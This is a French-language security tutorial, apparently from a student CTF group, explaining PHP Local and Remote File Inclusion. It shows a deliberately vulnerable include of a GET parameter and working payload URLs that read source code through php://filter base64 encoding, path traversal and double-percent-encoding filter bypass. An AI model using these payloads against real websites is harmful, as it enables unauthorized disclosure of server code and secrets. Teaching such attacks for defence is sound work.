Local et Remote File Inclusion

HackademINT

13 octobre 2021

Table des matières

1 Inclusion

1.1 Principe général

Les inclusions de fichiers en PHP sont un moyen de récupérer la totalité du code source d'un fichier PHP et de l'utiliser dans la page actuelle. Elles sont utiles pour plusieurs raisons : naviguer entre différentes pages, récupérer un fichier spécifique contenant des variables de configuration (souvent config.php...).
Les différentes instructions permettant d'inclure un fichier en PHP sont les suivantes :

```
include("config.php");
include_once("config.php");
require("config.php");
require_once("config.php");
```

La différence entre les instructions avec et sans le "_once" est que le "_once" empêche le fichier de s'inclure lui-même en boucle et de faire planter le serveur. La différence entre include et require est plus subtile : include ne va pas faire échouer le script s'il n'arrive pas à inclure le fichier demandé, à la différence de require qui va stopper l'exécution et provoquer une erreur côté serveur si le fichier ne peut pas être inclus. Pour plus d'informations, vous pouvez consulter la documentation de PHP.

1.2 Vulnérabilité

La vulnérabilité, comme souvent, réside dans l'éventualité où l'utilisateur a la possibilité de choisir le fichier qui est inclus. Un exemple très simple mais assez souvent visible sur les sites web est le suivant :

```
include_once($_GET["page"]);
```

Cette vulnérabilité est directement visible depuis l'URL :

```
<?php
https://file-inclusion.hackademint.org/lv1/index.php?page=welcome.php
?>
```

On voit clairement ici que l'utilisateur peut choisir à volonté la page qui lui sera présentée, peu importe s'il s'agit d'une page censée être accessible à l'utilisateur ou non. De plus, cela peut amener à d'autres moyens d'accéder au code source des différents fichiers PHP et à d'autres vulnérabilités.

1.3 Filtres et gestionnaires

PHP dispose de ce qu'on appelle des gestionnaires (*wrappers* en anglais), qui permettent de faire des opérations en utilisant les filtres.

Que sont les filtres ? Ce sont des fonctions qui permettent de faire des opérations sur des flux de données, comme des validations, des transformations, des nettoyages...

On peut utiliser les gestionnaires et les filtres de cette manière :

```
1 <?php
2 readfile("php://filter/convert.base64-encode/resource=moncontenu.php");
3 ?>
```

Le gestionnaire (`php://`) va invoquer le filtre (`filter/convert.base64-encode/resource=`), qui convertit son entrée en base64, sur la page `moncontenu.php` .

Ce code PHP va donc afficher une page contenant l'encodage base64 du contenu du fichier *moncontenu.php*.

1.4 Application de l'attaque

Nous disposons désormais de tous les éléments nécessaires pour mener notre attaque. Reprenons notre page vulnérable :

```
1 <?php
2 include_once($_GET["page"]);
3 ?>
```

Pour récupérer le code source d'une page arbitraire, il suffit dans l'URL de mettre la variable GET adaptée :

```
1 http://monsite.com/index.php?page=php://filter/convert.base64-encode/resource
  ↪ =page.php
```

Ce qui s'affiche dans la page est le code source de *page.php*, encodé en base64. L'attaque est donc un succès !

Notons que `require_once` nous interdit d'inclure directement *index.php* pour récupérer son code source.

Si le fichier se trouve dans un autre répertoire, on peut en changer comme ceci *../mondossier/code.php*... ce qui donne

```
1 http://monsite.com/index.php?page=php://filter/convert.base64-encode/resource
  ↪ =../mondossier/page.php
```

1.5 Double encodage

En cas de caractères interdits, ou d'une chaîne de caractères interdite, il est possible de contourner l'interdiction en utilisant deux fois l'encodage pourcent sur le contenu de l'attaque.

Par exemple, si `../` est une chaîne de caractère interdite, on l'encode deux fois, ce qui nous donne `%25%32%45%25%32%45%25%32%46` . On l'inclue dans l'attaque :

```
1 http://monsite.com/index.php?page=php://filter/convert.base64-encode/resource
  ↪ =%25%32%45%25%32%45%25%32%46mondossier/page.php
```

1.6 Ouverture sur la RFI

Parfois, en plus d'une attaque LFI, peut être présente une attaque RFI (pour Remote File Inclusion). Cette attaque permet non seulement d'inclure dans la page web des fichiers contenus sur le serveur, mais également sur un autre serveur distant (donc potientiellement contrôlé par l'attaquant).
Cela peut mener à de nombreuses vulnérabilités : XSS en incluant du JS dans le fichier inclus, mais également RCE (exécution de code source PHP hébergé à distance) et est une excellente porte d'entrée pour le phising (en effet, avec une telle vulnérabilité, vous pouvez utiliser l'adresse url légitime du site web visé pour mner des attaques).